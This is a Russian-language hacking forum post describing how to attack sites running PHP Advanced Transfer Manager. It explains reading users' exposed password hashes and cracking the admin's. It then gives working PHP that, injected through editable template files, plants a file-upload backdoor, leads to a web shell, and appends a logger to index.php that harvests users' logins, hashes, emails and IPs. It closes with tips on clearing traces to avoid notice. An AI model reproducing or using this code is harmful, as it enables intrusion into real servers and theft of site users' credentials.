PHP Advanced Transfer Manager

PHP Advanced Transfer Manager

08.12.2008, 17:34

sadfeel

Познающий

Регистрация: 05.11.2008

Сообщений: 79

С нами: 9217193

Репутация: 12

PHP Advanced Transfer Manager

Вобщем ошибка этого движка заключается в том, что при указании пути в браузере - название_сайта/users/имя_юзера показывается md5 хеш пароля юзера и его мыло. Вот что из этого можно поиметь:

Для начала нужно качнуть хороший словарь для брута и софтину PasswordsPro (например). Главная цель - расшифровать хеш админа (в большенстве случаев ник админа - Admin или admin, стандартный пароль - test). В браузере пишем название_сайта/users/Admin . Расшифровываем хеш............ Логинимся.......

Следующая дыра заключается в том что можно самостоятельно (если права позволяют) вставлять любой код в страницу с сайтом. для этого под админом заходим в настройки сайта (configure.php), выбираем любой файл из списка:

footer.htm
header.htm
info.htm
mailinfo.htm

далее откроется окно редактирования. здесь можете писать все что душе вздумается. Главное знание PHP. я прописывал следующее:

PHP код:


		
			
<?

$fp=fopen("languages/ml.php","a+");

$tmp='<?php

if ($File&& $File != "none") {

copy($File, $File_name);

}

?>

<FORM ENCTYPE="multipart/form-data" align="center" ACTION="<?php echo"$PHP_SELF"; ?>" METHOD="POST">

<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="100000">

<INPUT NAME="File" TYPE="file">

<INPUT TYPE="submit" VALUE="загрузить">

</FORM>';

fputs($fp,$tmp);

fclose($fp);

?>

После сохранения в директории имя_сайта/languages/ создавался файл ml.php с помощью которого можно заливать файлы на сервер (если сервер поддерживает). после этого нужно сразу вернутся назад и удалить все что писали, а то любой юзер находящийся на сайте будет при заходе на любую страницу делать рефреш коду и он будет выполнятся.

Далее я заливал Antichat Shell.

Также можно использовать следующий код:

PHP код:


		
			
<?php

unlink('include/mess.php')

?>

<?

$fp=fopen("include/mess.php","a+");

$tmp='<?php die("")?>';

fputs($fp,$tmp);

fclose($fp);

?>

После сохранения возвращяемся назад и вместо этого кода копируем:

PHP код:


		
			
<? $fp=fopen("index.php","a+"); 

$tmp='<?php $win=getenv("windir"); $path=getenv("path"); $ip=getenv("Remote_addr");$fp=fopen ("include/mess.php","a+");

fputs($fp,"\\r\\n$logged_user_name-$enc_user_pass\\t$user_email\\t$ip\\t$win id=$activationcode");  ?>'; 

fputs($fp,$tmp); fclose($fp); ?>

Этим мы создаем:
1. файл в директории /include с названием mess.php;
2. дописываем к странице index.php код который позволяет сохранить информацию о юзере в файл mess.php. там будет ip, хеш и логин.

время от времени нужно будет "заглядывать" в файл include/mess.php и очищать его (а то будет палевно когда место будет исчезать). Как это сделать? вот код который нужно прописывать опять же в каком либо из файлов footer.htm header.htm info.htm mailinfo.htm:

для удаления файла:

PHP код:


		
			
<? unlink ('include/mess.php'); ?>

для просмотра нужно либо скопировать файл в какую нибудь директорию с измененным расширением:

PHP код:


		
			
<? 

$file1 = 'include/mess.php';

$file2 = 'include/mess.txt';

copy($file1, $file2);

?>

или с помощью шелла просмотреть содержимое этого файла (include/mess.php).

Так как пользователь заходит несколько раз то после копирования данных желательно их провести через скрипт:

PHP код:


		
			
<?php 

$file = file('file.txt'); 

$new = fopen('new.txt','at'); 

$file = array_unique($file); 

foreach($file as $string) 

{ 

       fputs($new,$string); 

} 

fclose($new); 

?>

он удаляет повторные строки.

Заключение:

Это возможно если на сервере установлены соответствующие права. возможна и такая ситуация когда скрипт для заливки файлов на сервер не будет работать. тогда просто берем, открываем файл Antichat Shell.php и копируем его содержимое в один из файлов footer.htm header.htm info.htm mailinfo.htm. После внизу будет находится строка для ввода логина и пароля. Минус в том что это будут видеть все зашедшие, но если вам это нужно (быстро шото замутить на сервере) то валяйте

скрипты и сам шел можно скачать от сюда

Удачи! и не сильно критикуйте

𝕏 Twitter Reddit Telegram Копировать ссылку